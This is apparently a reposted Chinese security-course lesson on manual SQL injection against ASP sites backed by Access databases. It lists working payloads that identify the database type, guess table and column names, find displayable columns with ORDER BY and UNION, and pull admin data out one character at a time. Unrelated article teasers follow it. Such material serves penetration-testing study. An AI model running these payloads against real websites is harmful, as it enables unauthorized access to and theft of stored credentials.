网络安全进阶学习第十二课——SQL手工注入3(Access数据库)

news/2024/11/17 6:26:24/

文章目录

  • 注入流程:
  • 1、判断数据库类型
  • 2、判断表名
  • 3、判断列名
  • 4、判断列数
    • 1)判断显示位
  • 5、判断数据长度
  • 6、爆破数据内容


注入流程:

判断数据库类型 ——> 判断表名 ——> 判断列名 ——> 判断列名长度 ——> 查出数据。


asp的网站,常用数据库为access、sqlserver。

1、判断数据库类型

and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver

上述语句会返回1或者0
msysobjects是access的默认数据库
sysobjects是sqlserver的默认数据库

如图:
在这里插入图片描述
在这里插入图片描述
这里就能判断是access的数据库。


2、判断表名

遍历表名:and exists (select * from 表名)
#存在就返回正常页面,不存在就报错。

举例:
and exists (select * from admin_user)

使用BP对后面的admin_user所在位置的值进行遍历
假设这里跑出来表名就是:admin_user


3、判断列名

遍历列名:and exists (select 列名 from 表名)
#存在就返回正常页面,不存在就报错。

举例:
and exists (select admin from admin_user)

已经得知表名是admin_user,使用BP对列名admin所在位置的值进行遍历
假设这里跑出来列名就是:admin


4、判断列数

order by 7
在这里插入图片描述
前提:页面中需要有显示位

1)判断显示位

使用联合查询
union select 1,2,3,4,5,6,7 from admin_user


5、判断数据长度

and (select top 1 len(列名) from 表名)>5
#此为此列第一条数据的长度,判断其是不是大于5

and (select top 1 len(列名) from 表名)=5
#此为此列第一条数据的长度是不是等于5

举例:
and (select top 1 len(admin) from admin_user)=5

假如返回是真,那就说明admin_user这个表里面对应的admin这一列的第一个数据长度时5.


6、爆破数据内容

and (select top 1 asc(mid(列名,位数,1)) from admin)=97
#mid()用于从文本中提取字段,mid(列名,起始位置,要返回的字符数)
#asc()是进行ASCII编码

举例:
and (select top 1 asc(mid(admin,1,1)) from admin_user)=97(97对应的字母为a)

#若返回真,说明admin_user这个表中admin字段对应的那一列的第一条数据的第一位是 ’ a ’



http://www.ppmy.cn/news/1014558.html

相关文章

『CV学习笔记』docker和nvidia-docker离线安装

docker和nvidia-docker离线安装 文章目录 1. docker的deb包下载链接2. nvidia-docker 的deb包下载3. 重启 docker4. 检验安装5. 参考文献这里是ubuntu操作系统, 如果是其他的操作系统,则需要安装对应的deb包1. docker的deb包下载链接 https://download.docker.com/linux/ubun…

(十四)大数据实战——hadoop集群一键式高可用实现自动故障转移与故障初始化恢复

前言 本节内容延续前面几节内容,综合性的实现hadoop集群的高可用以及hadoop集群故障初始化的恢复,通过一个脚本,实现整个集群的高可用启停与状态观测。主要是zookeeper、hdfs、yarn等服务的高可用集群的一键式启停。 正文 hadoop高可用集群整体规划hadoop高可用集群服务规…

oracle的管道函数

Oracle管道函数(Pipelined Table Function)oracle管道函数 1、管道函数即是可以返回行集合(可以使嵌套表nested table 或数组 varray)的函数,我们可以像查询物理表一样查询它或者将其赋值给集合变量。 2、管道函数为并行执行,在…

Postman 的简单使用

什么是Postman 在程序开发中用于调试网络程序或者跟踪网页请求。可以对网页进行简单的基本信息调试。Postman最早是作用chrome浏览器插件存在的,但是2018年初Chrome停止对Chrome应用程序的支持。所以现在Postman提供了独立的安装包,不再依赖于Chrome浏览…

Seata 中 AT 模式的自动回滚

(一)一阶段 1. 解析每个服务方法执行的 SQL,记录 SQL 的类型(Update、Insert 或 Delete),修改表并更新 SQL 条件等信息 2. 根据前面的条件信息生成查询语句,并记录修改前的数据镜像&#xff1b…

Ajax跨域问题

ajax跨域问题 ajax跨域问题什么是跨域?为什么不允许跨域?跨域解决方案1、CORS2、express自带的中间件cors3、原生jsonp4、使用vscode的Live Server插件 ajax跨域问题 什么是跨域? 在Ajax发请求时,需要显示的信息一直显示不出来&…

数据库基础-Mongodb数据库复制操作

Mongodb数据库复制操作 关闭mongodb的服务,如下图 创建以下文件夹 现在我们开启三个服务,端口号为9927做为主节点,9928做为从节点,9929做为仲裁节点 仲裁节点的作用是协调leader选举,监测系统运行状态,提供节点互相通讯的数据信息。 开启主服务: …

高忆管理:券商板块探底回升,大市值券商企稳,中信建投涨超5%

近日活泼的券商板块8日盘中大幅回落,哈投股份一度跌停,后探底上升。大市值券商企稳,截至发稿,中金公司触及涨停,中信建投涨超5%。 首创证券一度大跌近9%,此前接连三日涨停,公司昨日晚间公告称&a…